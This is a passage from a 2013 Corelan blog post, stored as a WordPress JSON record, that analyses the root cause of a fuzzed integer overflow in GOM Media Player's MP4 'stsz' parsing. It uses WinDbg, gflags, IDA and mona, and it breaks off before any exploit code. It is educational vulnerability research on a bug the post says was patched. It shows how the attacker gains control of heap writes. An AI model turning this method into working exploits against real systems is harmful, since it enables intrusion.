{"id":9839,"date":"2013-07-02T15:00:41","date_gmt":"2013-07-02T13:00:41","guid":{"rendered":"https:\/\/www.corelan.be\/?p=9839"},"modified":"2026-03-22T10:12:32","modified_gmt":"2026-03-22T09:12:32","slug":"root-cause-analysis-integer-overflows","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2013\/07\/02\/root-cause-analysis-integer-overflows\/","title":{"rendered":"Root Cause Analysis &ndash; Integer Overflows"},"content":{"rendered":"\n<h3>Foreword<\/h3>\n<p>Over the past few years, Corelan Team has received many exploit related questions, including &quot;I have found a bug and I don't seem to control EIP, what can I do ?&quot;; &quot;Can you write a tutorial on heap overflows&quot; or &quot;what are Integer overflows&quot;.<\/p>\n<p>In this article, Corelan Team member Jason Kratzer (pyoor) tries to answer some of these questions in a very practical, hands-on way.&#160; He went to great lengths to illustrate the process of finding a bug, taking the crash information and reverse engineering the crash context to identifying the root cause of the bug, to finally discussing multiple ways to exploit the bug.&#160; Of course, most - if not all - of the techniques in this document were discovered many years ago, but I'm sure this is one of the first (public) articles that shows you how to use them in a real life scenario, with a real application.&#160; Although the techniques mostly apply to Windows XP, we believe it is required knowledge, necessary before looking at newer versions of the Windows Operating system and defeating modern mitigation techniques.<\/p>\n<p>enjoy !<\/p>\n<p>- corelanc0d3r<\/p>\n<p>&#160;<\/p>\n<h3>Introduction<\/h3>\n<p>In <a href=\"https:\/\/www.corelan.be\/index.php\/2013\/02\/26\/root-cause-analysis-memory-corruption-vulnerabilities\/\" target=\"_blank\" rel=\"noopener\">my previous article<\/a>, we discussed the process used to evaluate a memory corruption bug that I had identified in a recently patched version of KMPlayer.&#160; With the crash information generated by this bug we were able to step through the crash, identify the root cause of our exception, and determine exploitability.&#160; In doing so, we were able to identify 3 individual methods that could potentially be used for exploitation.&#160; This article will serve as a continuation of the series with the intention of building upon some of the skills we discussed during the previous \u201cRoot Cause Analysis\u201d article.&#160; I highly recommend that if you have not done so already, please review the contents of that article (located <a href=\"https:\/\/www.corelan.be\/index.php\/2013\/02\/26\/root-cause-analysis-memory-corruption-vulnerabilities\/\" target=\"_blank\" rel=\"noopener\">here<\/a>) before proceeding.<\/p>\n<p>For the purpose of this article, we\u2019ll be analyzing an integer overflow that I had identified in the GOM Media Player software developed by GOM Labs.&#160; This bug affects GOM Media Player 2.1.43 and was reported to the GOM Labs development team on November 19, 2012.&#160; A patch was released to mitigate this issue on December 12, 2012.<\/p>\n<p>As with our previous bug, I had identified this vulnerability by fuzzing the MP4\/QT file formats using the Peach Framework (v2.3.9).&#160; In order to reproduce this issue, I have provided a bare bones fuzzing template (Peach PIT) which specifically targets the vulnerable portion of the MP4\/QT file format.&#160; You can find a copy of that Peach PIT here.&#160; The vulnerable version of GOM player can be found here.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3><a name=\"AnalyzingCrash\"><\/a>Analyzing the Crash Data<\/h3>\n<p>Let\u2019s begin by taking a look at the file, LocalAgent_StackTrace.txt, which was generated by Peach at crash time.&#160; I\u2019ve included the relevant portions below:<\/p>\n<p>&#160;<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">(cdc.5f8): Access violation - code c0000005 (first chance)\nr\neax=00000028 ebx=0000004c ecx=0655bf60 edx=00004f44 esi=06557fb4 edi=06555fb8\neip=063b4989 esp=0012bdb4 ebp=06557f00 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206\nGSFU!DllUnregisterServer+0x236a9:\n<strong><span style=\"color: #ffff00\">063b4989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:0655c000=????????<\/span><\/strong>\n\nkb\nChildEBP RetAddr  Args to Child              \nWARNING: Stack unwind information not available. Following frames may be wrong.\n0012bdc0 063b65eb 064dcda8 06555fb8 0652afb8 GSFU!DllUnregisterServer+0x236a9\n0012bdd8 063b8605 064dcda8 06555fb8 0652afb8 GSFU!DllUnregisterServer+0x2530b\n0012be00 063b8a85 064dcda8 0652afb8 0652afb8 GSFU!DllUnregisterServer+0x27325\n0012be18 063b65eb 064dcda8 0652afb8 06510fb8 GSFU!DllUnregisterServer+0x277a5\n0012be30 063b8605 064dcda8 0652afb8 06510fb8 GSFU!DllUnregisterServer+0x2530b\n0012be58 063b8a85 064dcda8 06510fb8 06510fb8 GSFU!DllUnregisterServer+0x27325\n0012be70 063b65eb 064dcda8 06510fb8 06500fb8 GSFU!DllUnregisterServer+0x277a5\n&lt;...truncated...&gt;\n\nINSTRUCTION_ADDRESS:0x00000000063b4989\nINVOKING_STACK_FRAME:0\nDESCRIPTION:User Mode Write AV\nSHORT_DESCRIPTION:WriteAV\n<strong><span style=\"color: #ffff00\">CLASSIFICATION:EXPLOITABLE\nBUG_TITLE:Exploitable - User Mode Write AV starting at GSFU!DllUnregisterServer+0x00000000000236a9 (Hash=0x1f1d1443.0x00000000)<\/span><\/strong>\nEXPLANATION:User mode write access violations that are not near NULL are exploitable.<\/pre>\n<p>(You can download the complete Peach crash data here)<\/p>\n<p>As we can see here, we\u2019ve triggered a write access violation by attempting to write the value of edx to the location pointed at by [ecx+eax*4].&#160; This instruction fails of course because the location [ecx+eax*4] points to an inaccessible region of memory. (0655c000=????????)<\/p>\n<p>Since we do not have symbols for this application, the stack trace does not provide us with any immediately evident clues as to the cause of our exception.<\/p>\n<p>Furthermore, we can also see that !exploitable has made the assumption that this crash is exploitable due to the fact that the faulting instruction attempts to write data to an out of bounds location and that location is not near null.&#160; It makes this distinction because a location that is near null may be indicative of a null pointer dereference and these types of bugs are typically not exploitable (<a href=\"http:\/\/uninformed.org\/?v=4&amp;a=5\" target=\"_blank\" rel=\"noopener\">though not always<\/a>). Let\u2019s try and determine if !exploitable is in fact, correct in this assumption.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3><a name=\"IdentifyingCoE\"><\/a>Identifying the Cause of Exception<\/h3>\n<h4><a name=\"PageHeap\"><\/a>Page heap<\/h4>\n<p>Before we begin, there\u2019s something very important that we must discuss.&#160; Take a look at the bare bones Peach PIT I\u2019ve provided; particularly the Agent configuration beginning at line 55.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">&lt;Agent name=&quot;LocalAgent&quot;&gt;\n  &lt;Monitor class=&quot;debugger.WindowsDebugEngine&quot;&gt;\n    &lt;Param name=&quot;CommandLine&quot; value=&quot;C:\\Program Files\\GRETECH\\GomPlayer\\GOM.EXE &amp;quot;C:\\fuzzed.mov&amp;quot;&quot; \/&gt;\n    &lt;Param name=&quot;StartOnCall&quot; value=&quot;GOM.EXE&quot; \/&gt;\n  &lt;\/Monitor&gt;\n  &lt;Monitor class=&quot;process.PageHeap&quot;&gt;\n    &lt;Param name=&quot;Executable&quot; value=&quot;GOM.EXE&quot;\/&gt;\n  &lt;\/Monitor&gt;\n&lt;\/Agent&gt;<\/pre>\n<p>Using this configuration, I\u2019ve defined the primary monitor as the \u201cWindowsDebugEngine\u201d which uses PyDbgEng, a wrapper for the WinDbg engine dbgeng.dll, in order to monitor the process.&#160; This is typical of most Peach fuzzer configurations under windows.&#160; However, what\u2019s important to note here is the second monitor, \u201cprocess.PageHeap\u201d.&#160; This monitor enables full page heap verification by using the Microsoft Debugging tool, GFlags (Global Flags Editor).&#160; In short, GFlags is a utility that is packaged with the Windows SDK, and enables users to more easily troubleshoot potential memory corruption issues.&#160; There are a number of configuration options available with GFlags.&#160; For the purpose of this article, we\u2019ll only be discussing 2: standard and full page heap verification.<\/p>\n<p>When using page heap verification, a special page header prefixes each heap chunk.&#160; The image below displays the structure of a standard (allocated) heap chunk and the structure of an (allocated) heap chunk with page heap enabled.<\/p>\n<p><strong><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow6.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px\" title=\"RCA-Integer-Overflow-6\" border=\"0\" alt=\"RCA-Integer-Overflow-6\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow6_thumb.png\" width=\"527\" height=\"352\" \/><\/a> <\/strong><\/p>\n<blockquote>\n<p>This information can also be extracted by using the following display types variables:<\/p>\n<p>&#160;<\/p>\n<p># Displays the standard heap metadata.&#160; Replace 0xADDRESS with the heap chunk start address<\/p>\n<p><strong>dt _HEAP_ENTRY 0xADDRESS<\/strong><\/p>\n<p>&#160;<\/p>\n<p># Displays the page heap metadata.&#160; Replace 0xADDRESS with the start stamp address.<\/p>\n<p><strong>dt _DPH_BLOCK_INFORMATION 0xADDRESS<\/strong><\/p>\n<\/blockquote>\n<p>One of the most important additions to the page heap header is the &quot;user stack traces&quot; (+ust) field.&#160; This field contains a pointer to the stack trace of our allocated chunk.&#160; This means that we\u2019re now able to enumerate which functions eventually lead to the allocation or free of a heap chunk in question.&#160; This is incredibly useful when trying to track down the root cause of our exception.<\/p>\n<p>Both standard and full heap verification prefix each chunk with this header.&#160; The primary difference between standard and full page heap verification is that under standard heap verification, fill patterns are placed at the end of each heap chunk (0xa0a0a0a0).&#160; If for instance a buffer overflow were to occur and data was written beyond the boundary of the heap chunk, the fill pattern located at the end of the chunk would be overwritten and therefore, corrupted.&#160; When our now corrupt block is accessed by the heap manager, the heap manager will detect that the fill pattern has been modified\/corrupted and cause an access violation to occur.<\/p>\n<p>With full page heap verification enabled, rather than appending a fill pattern, each heap chunk is placed at the end of a (small) page. This page is followed by another (small) page that has the PAGE_NOACCESS access level set. Therefore, as soon as we attempt to write past the end of the heap chunk, an access violation will be triggered directly (in comparison with having to wait for a call to the heap manager).&#160;&#160; Of course, the use of full page heap will drastically change the heap layout, because a heap allocation will trigger the creation of a new page. In fact, the application may even run out of heap memory space if your application is performing a lot of allocations.<\/p>\n<p>For a full explanation of GFlags, please take a look at the MSDN documentation <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/ff549561%28v=vs.85%29.aspx\" target=\"_blank\" rel=\"noopener\">here<\/a>.<\/p>\n<p>Now the reason I\u2019ve brought this up, is that in order to replicate the exact crash generated by Peach, we\u2019ll need to enable GFlags for the GOM.exe process.&#160; GFlags is part of the Windows Debugging Tools package which is now included in the Windows SDK.&#160; The Windows 7 SDK, which is recommended for both Windows XP and 7 can be found <a href=\"http:\/\/msdn.microsoft.com\/en-us\/windows\/hardware\/gg463009.aspx\" target=\"_blank\" rel=\"noopener\">here<\/a>.<\/p>\n<p>In order to enable full page heap verification for the GOM.exe process, we\u2019ll need to execute the following command.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\Program Files\\Debugging Tools for Windows (x86)&gt;gflags \/p \/enable GOM.exe \/full<\/pre>\n<p>&#160;<\/p>\n<h4><a name=\"InitialAnalysis\"><\/a>Initial analysis<\/h4>\n<p>With that said, let\u2019s begin by comparing our original seed file and mutated file using the 010 Binary Editor.<\/p>\n<p>Please note that in the screenshot below, \u201cAddress A\u201d and \u201cAddress B\u201d correlate with OriginalSeed.mov and MutatedSeed.mov respectively.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/03\/RCAIntegerOverflow1.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px\" title=\"RCA-Integer-Overflow-1\" border=\"0\" alt=\"RCA-Integer-Overflow-1\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/03\/RCAIntegerOverflow1_thumb.png\" width=\"503\" height=\"294\" \/><\/a><\/p>\n<p>Here we can see that our fuzzer applied 8 different mutations and removed 1 block element entirely (as identified by our change located at offset 0x12BE).<\/p>\n<p>As documented in the previous article, you should begin by reverting each change, 1 element at a time, from their mutated values to those found in the original seed file.&#160; After each change, save the updated sample and open it up in GOM Media Player while monitoring the application using WinDbg.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">windbg.exe &quot;C:\\Program Files\\GRETECH\\GomPlayer\\GOM.EXE&quot; &quot;C:\\Path-To\\MutatedSeed.mov&quot;<\/pre>\n<p>The purpose here is to identify the minimum number of mutated bytes required to trigger our exception.&#160; Rather than documenting each step of the process which we had already outlined in the previous article, we\u2019ll simply jump forward to the end result.&#160; Your minimized sample file should now look like the following:<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/06\/RCAIntegerOverflow8.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px\" title=\"RCA-Integer-Overflow-8\" border=\"0\" alt=\"RCA-Integer-Overflow-8\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/06\/RCAIntegerOverflow8_thumb.png\" width=\"600\" height=\"205\" \/><\/a><\/p>\n<p>Here we can see that a single, 4 byte change located at file offset 0x131F was responsible for triggering our crash.&#160; In order to identify the purpose of these bytes, we must identify what atom or container they belong to.<\/p>\n<p>Just prior to our mutated bytes, we can see the ASCII string \u201cstsz\u201d.&#160; This is known as a <a href=\"https:\/\/en.wikipedia.org\/wiki\/FourCC\" target=\"_blank\" rel=\"noopener\">FourCC<\/a>.&#160; The QuickTime and MPEG-4 file formats rely on these FourCC strings in order to identify various atoms or containers used within the file format.&#160; Knowing that, we can lookup the structure of the \u201cstsz\u201d atom in the QuickTime File Format Specification found <a href=\"https:\/\/developer.apple.com\/library\/mac\/documentation\/QuickTime\/QTFF\/qtff.pdf\" target=\"_blank\" rel=\"noopener\">here<\/a>.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Size:  0x00000100 \nType:  0x7374737A (ASCII stsz) \nVersion:  0x00 \nFlags:  0x000000 \nSample Size: 0x00000000\n<strong><span style=\"color: #ffff00\">Number of Entries: 0x8000000027<\/span><\/strong>\nSample Size Table(1):  0x000094B5\nSample Size Table(2):  0x000052D4<\/pre>\n<p>Looking at the layout of the \u201cstsz\u201d atom, we can see that the value for the \u201cNumber of Entries\u201d element has been replaced with a significantly larger value (0x80000027 compared with the original value of 0x3B).&#160; Now that we\u2019ve identified the minimum change required to trigger our exception, let\u2019s take a look at the faulting block (GSFU!DllUnregisterServer+0x236a9) in IDA Pro.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3><a name=\"ReversingFaulty\"><\/a>Reversing the Faulty Function<\/h3>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/03\/RCAIntegerOverflow3.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px\" title=\"RCA-Integer-Overflow-3\" border=\"0\" alt=\"RCA-Integer-Overflow-3\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/03\/RCAIntegerOverflow3_thumb.png\" width=\"472\" height=\"409\" \/><\/a><\/p>\n<p>Without any state information, such as register values or memory locations used during run time, we can only make minor assumptions based on the instructions contained within this block.&#160; However, armed with only this information, let\u2019s see what we can come up with.<\/p>\n<ul>\n<li>Let\u2019s assume that eax and edx are set to 0x00000000 and that esi points to 0xAABBCCDD<\/li>\n<li>A single byte is moved from the location pointed at by esi to edx resulting in edx == 0x000000AA<\/li>\n<li>A single byte is moved from the location pointed at by [esi+1] to ecx<\/li>\n<li>edx is shifted left by 8 bytes resulting in 0x0000AA00<\/li>\n<li>ecx is added to @edx resulting in 0x0000AABB<\/li>\n<li>A single byte is moved from the location pointed at by [esi+2] to ecx<\/li>\n<li>edx is again shifted left by 8 bytes resulting in 0x00AABB00<\/li>\n<li>ecx is again added to edx resulting in 0x00AABBCC<\/li>\n<li>A single byte is moved from the location pointed at by [esi+3] to ecx<\/li>\n<li>edx is again shifted left by 8 bytes resulting in 0xAABBCC00<\/li>\n<li>And finally, ecx is added to edx resulting in 0xAABBCCDD<\/li>\n<\/ul>\n<p>So what does this all mean?&#160; Well, our first 10 instructions appear to be an overly complex version of the following instruction:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">movzx edx, dword ptr [esi]<\/pre>\n<p>However, upon closer inspection what we actually see is that due to the way bytes are stored in memory, this function is actually responsible for reversing the byte order of the input string.&#160; So our initial read value of 0x41424344 (ABCD) will be written as 0x44434241 (DCBA).<\/p>\n<p>With that said, let\u2019s reduce our block down to:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">loc_3B04960:\ncmp     ebx, 4\njl      short loc_3B0499D\t; Jump outside of our block\n\nmovzx   edx, dword ptr [esi]\t; Writes reverse byte order ([::-1])\nmov     ecx, [edi+28h]\nmov     ecx, [ecx+10h]\nmov     [ecx+eax*4], edx \t; Exception occurs here.\n\t\t\t\t; Write @edx to [ecx+eax*4]\nmov     edx, [edi+28h]\nmov     ecx, [edx+0Ch]\nadd     esi, 4\nsub     ebx, 4\ninc     eax\ncmp     eax, ecx\njb      short loc_3B04960<\/pre>\n<p>Now before we actually observe our block in the debugger, there are still a few more characteristics we can enumerate.<\/p>\n<ul>\n<li>The value pointed to by esi is moved to edx<\/li>\n<li>edx is then written to [ecx+eax*4]<\/li>\n<li>The value of esi is increased by 4<\/li>\n<li>The value of ebx is decreased by 4<\/li>\n<li>eax is incremented by 1<\/li>\n<li>The value of eax is compared against ecx.&#160; If eax is equal to ecx, exit the block.&#160; Otherwise, jump to our first instruction.<\/li>\n<li>Once at the beginning of our block, ebx is then compared against 0x4.&#160; If ebx is less than 4, exit the block.&#160; Otherwise, perform our loop again.<\/li>\n<\/ul>\n<p>To summarize, our first instruction attempts to determine if ebx is less than or equal to 4.&#160; If it is not, we begin our loop by moving a 32 bit value at memory location \u201cA\u201d and write it to memory location \u201cB\u201d.&#160; Then we check to make sure eax is not equal to ecx.&#160; If it isn\u2019t, then we return to the beginning of our loop.&#160; This process will continue, performing a block move of our data until one of our 2 conditions are met.<\/p>\n<p>With a rough understanding of the instruction set, let\u2019s observe its behavior in our debugger.&#160; We\u2019ll set the following breakpoints which will halt execution if either of our conditions cause our block iteration to exit and inform us of what data is being written and to where.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">r @$t0 = 1\nbp GSFU!DllUnregisterServer+0x23680 &quot;.printf \\&quot;Block iteration #%p\\\\n\\&quot;, @$t0; r @$t0 = @$t0 + 1; .if (@ebx &lt;= 0x4) {.printf \\&quot;1st condition is true.&#160; Exiting block iteration\\\\n\\&quot;; } .else {.printf \\&quot;1st condition is false (@ebx == 0x%p).&#160; Performing iteration\\\\n\\&quot;, @ebx; gc}&quot;\nbp GSFU!DllUnregisterServer+0x236a9 &quot;.printf \\&quot;The value, 0x%p, is taken from 0x%p and written to 0x%p\\\\n\\&quot;, @edx, @esi, (@ecx+@eax*4); gc&quot;\nbp GSFU!DllUnregisterServer+0x236b9 &quot;.if (@eax == @ecx) {.printf \\&quot;2nd is false.&#160; Exiting block iteration.\\\\n\\\\n\\&quot;; } .else {.printf \\&quot;2nd condition is true.&#160; ((@eax == 0x%p) &lt;= (@ecx == 0x%p)).&#160; Performing iteration\\\\n\\\\n\\&quot;, @eax, @ecx; gc}&quot;<\/pre>\n<p>With our breakpoints set, you should see something similar to the following:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Block iteration #00000001\n1st condition is false (@ebx == 0x000000ec).  Performing iteration\nThe value, 0x000094b5, is taken from 0x07009f14 and written to 0x0700df60\n2nd condition is true.  ((@eax == 0x00000001) &lt;= (@ecx == 0x80000027)).  Performing iteration\n\nBlock iteration #00000002\n1st condition is false (@ebx == 0x000000e8).  Performing iteration\nThe value, 0x000052d4, is taken from 0x07009f18 and written to 0x0700df64\n2nd condition is true.  ((@eax == 0x00000002) &lt;= (@ecx == 0x80000027)).  Performing iteration\n\n...truncated...\n\nBlock iteration #00000028\n1st condition is false (@ebx == 0x00000050).  Performing iteration\nThe value, 0x00004fac, is taken from 0x07009fb0 and written to 0x0700dffc\n2nd condition is true.  ((@eax == 0x00000028) &lt;= (@ecx == 0x80000027)).  Performing iteration\n\nBlock iteration #00000029\n1st condition is false (@ebx == 0x0000004c).  Performing iteration\nThe value, 0x00004f44, is taken from 0x07009fb4 and written to 0x0700e000\n(1974.1908): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=00000028 ebx=0000004c ecx=0700df60 edx=00004f44 esi=07009fb4 edi=07007fb8\neip=06e64989 esp=0012bdb4 ebp=07009f00 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206\nGSFU!DllUnregisterServer+0x236a9:\n06e64989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:0700e000=????????<\/pre>\n<p>Here we can see that neither of our conditions caused our block iteration to exit.&#160; Our instruction block performed 0x29 writes until a memory boundary was reached (likely caused by our full page heap verification) which triggers an access violation.&#160; Using the \u2018db\u2019 command, we let\u2019s take a look at the data we've written.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; db 0x0700df60\n0700df60  b5 94 00 00 d4 52 00 00-a8 52 00 00 2c 52 00 00  .....R...R..,R..\n0700df70  7c 52 00 00 80 52 00 00-a4 52 00 00 28 53 00 00  |R...R...R..(S..\n0700df80  18 53 00 00 94 52 00 00-20 53 00 00 ac 52 00 00  .S...R.. S...R..\n0700df90  28 53 00 00 e0 51 00 00-d0 52 00 00 88 52 00 00  (S...Q...R...R..\n0700dfa0  e0 52 00 00 94 52 00 00-18 53 00 00 14 52 00 00  .R...R...S...R..\n0700dfb0  14 52 00 00 5c 52 00 00-34 52 00 00 08 52 00 00  .R..\\R..4R...R..\n0700dfc0  d4 51 00 00 84 51 00 00-d8 51 00 00 d8 50 00 00  .Q...Q...Q...P..\n0700dfd0  3c 51 00 00 04 52 00 00-a4 51 00 00 bc 50 00 00  &lt;q...r...q...p..<\/pre>\n<p>Now let\u2019s break down the information returned by our breakpoints:<\/p>\n<ul>\n<li>First, taking a look at our write instructions we can see that the data being written appears to be the contents of our \u201cSample Size Table\u201d.&#160; Our vulnerable block is responsible for reading 32 bits during each iteration from a region of memory beginning at 0x07009F14 and writing it to a region beginning at 0x0700DF60 (these addresses may be different for you and will likely change after each execution).&#160; This is good a good sign as it means that <span style=\"text-decoration: underline\">we can control what data is being written<\/span>.<\/li>\n<li>Furthermore, we can see that during our second condition, eax is being compared against the same value being provided as the \u201cNumber of Entries\u201d element within our \u201cstsz\u201d atom.&#160; This means that <span style=\"text-decoration: underline\">we can control at least 1 of the 2 conditions<\/span> which will determine how many times our write instruction occurs.&#160; This is good.&#160; As with our previous example (KMPlayer), we demonstrated that if we can write beyond the intended boundary of our function, we may be able to overwrite sensitive data.<\/li>\n<li>As for our first condition, it\u2019s not yet apparent where the value stored in ebx is derived.&#160; More on this in a bit.<\/li>\n<\/ul>\n<p>At this point, things are looking pretty good.&#160; So far we\u2019ve determined that we can control the data we write and at least one of our conditions.&#160; However, we still haven\u2019t figured out yet why we\u2019re writing beyond our boundary and into the guard page.&#160; In order to determine this, we\u2019ll need to enumerate some information regarding the region where our data is being written, such as the size and type (whether it be stack, heap, or virtually allocated memory).&#160; To do so, we can use corelan0cd3r\u2019s mona extension for WinDbg.&#160; Before we do however, we\u2019ll need to modify Gflags to only enable standard page heap verification.&#160; The reason for this is that when using full page heap verification, Gflags will modify our memory layout in such a way that will not accurately reflect our memory state when run without GFlags.&#160; To enable standard page heap verification, we\u2019ll execute the following command:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">gflags.exe \/p \/enable gom.exe<\/pre>\n<p>Next, let's go ahead and start our process under WinDbg. This time, we'll only apply 1 breakpoint in order to halt execution upon execution of our first write instruction.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; <strong><span style=\"color: #ffff00\">bp GSFU!DllUnregisterServer+0x236a9 &quot;.printf \\&quot;The value, 0x%p, is taken from 0x%p and written to 0x%p\\\\n\\&quot;, @edx, @esi, (@ecx+@eax*4)&quot;<\/span>\n<\/strong>Bp expression 'GSFU!DllUnregisterServer+0x236a9' could not be resolved, adding deferred bp\n0:000&gt; <strong><span style=\"color: #ffff00\">g<\/span><\/strong>\n\n<strong><span style=\"color: #ffff00\">The value, 0x000094b5, is taken from 0x06209c4c and written to 0x06209dc0<\/span><\/strong>\neax=00000000 ebx=000000ec ecx=06209dc0 edx=000094b5 esi=06209c4c edi=06209bb8\neip=06034989 esp=0012bdb4 ebp=06209c38 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202\nGSFU!DllUnregisterServer+0x236a9:\n06034989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:06209dc0=00000000\n0:000&gt; <strong><span style=\"color: #ffff00\">!py mona info -a 0x06209dc0<\/span><\/strong>\nHold on...\n[+] Generating module info table, hang on...\n    - Processing modules\n    - Done. Let's rock 'n roll.\n[+] NtGlobalFlag: 0x02000000\n    0x02000000 : +hpa - Enable Page Heap\n\n[+] Information about address 0x06209dc0\n     {PAGE_READWRITE}\n    Address is part of page 0x06200000 - 0x0620a000\n    This address resides in the heap\n\nAddress 0x06209dc0 found in \n    _HEAP @ 06200000, Segment @ 06200680\n                      (         bytes        )                   (bytes)\n      HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state\n        06209d98  000000d8  00000050  00000014  [03]   06209dc0  000000a4  0000000c   Extra present,Busy  (hex)\n                  00000216  00000080  00000020                   00000164  00000012   Extra present,Busy  (dec)\n\n      Chunk header size: 0x8 (8)\n      Extra header due to GFlags: 0x20 (32) bytes\n      DPH_BLOCK_INFORMATION Header size: 0x20 (32)\n         StartStamp    : 0xabcdaaaa\n         Heap          : 0x86101000\n         <strong><span style=\"color: #ffff00\">RequestedSize : 0x0000009c<\/span><\/strong>\n         ActualSize    : 0x000000c4\n         TraceIndex    : 0x0000193e\n         <strong><span style=\"color: #ffff00\">StackTrace    : 0x04e32364<\/span><\/strong>\n         EndStamp      : 0xdcbaaaaa\n      Size initial allocation request: 0xa4 (164)\n      Total space for data: 0xb0 (176)\n      Delta between initial size and total space for data: 0xc (12)\n      Data : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...\n\n[+] Disassembly:\n    Instruction at 06209dc0 : ADD BYTE PTR [EAX],AL\n\nOutput of !address 0x06209dc0:\n\nUsage:                  &lt;unclassified&gt;\nAllocation Base:        06200000\nBase Address:           06200000\nEnd Address:            0620a000\nRegion Size:            0000a000\nType:                   00020000.MEM_PRIVATE\nState:                  00001000.MEM_COMMIT\nProtect:                00000004.PAGE_READWRITE<\/pre>\n<p>Good.&#160; So here we can see that we\u2019re writing to an allocated heap chunk.&#160; The requested size of our block is 0x9C.&#160; Based on our access violation, we can already determine that the current state of our mutated file will attempt to write more than 0x9C bytes of data.&#160; After 0x9C bytes, our boundary is reached and an access violation is triggered.&#160; Considering the structure in which we\u2019re writing our data, it appears as if we\u2019ve identified a very simple example of a heap overflow.&#160; If we are able to control the length of the data being written and another heap chunk sits in a location following our written data, we may be able to write beyond the bounds of our chunk and 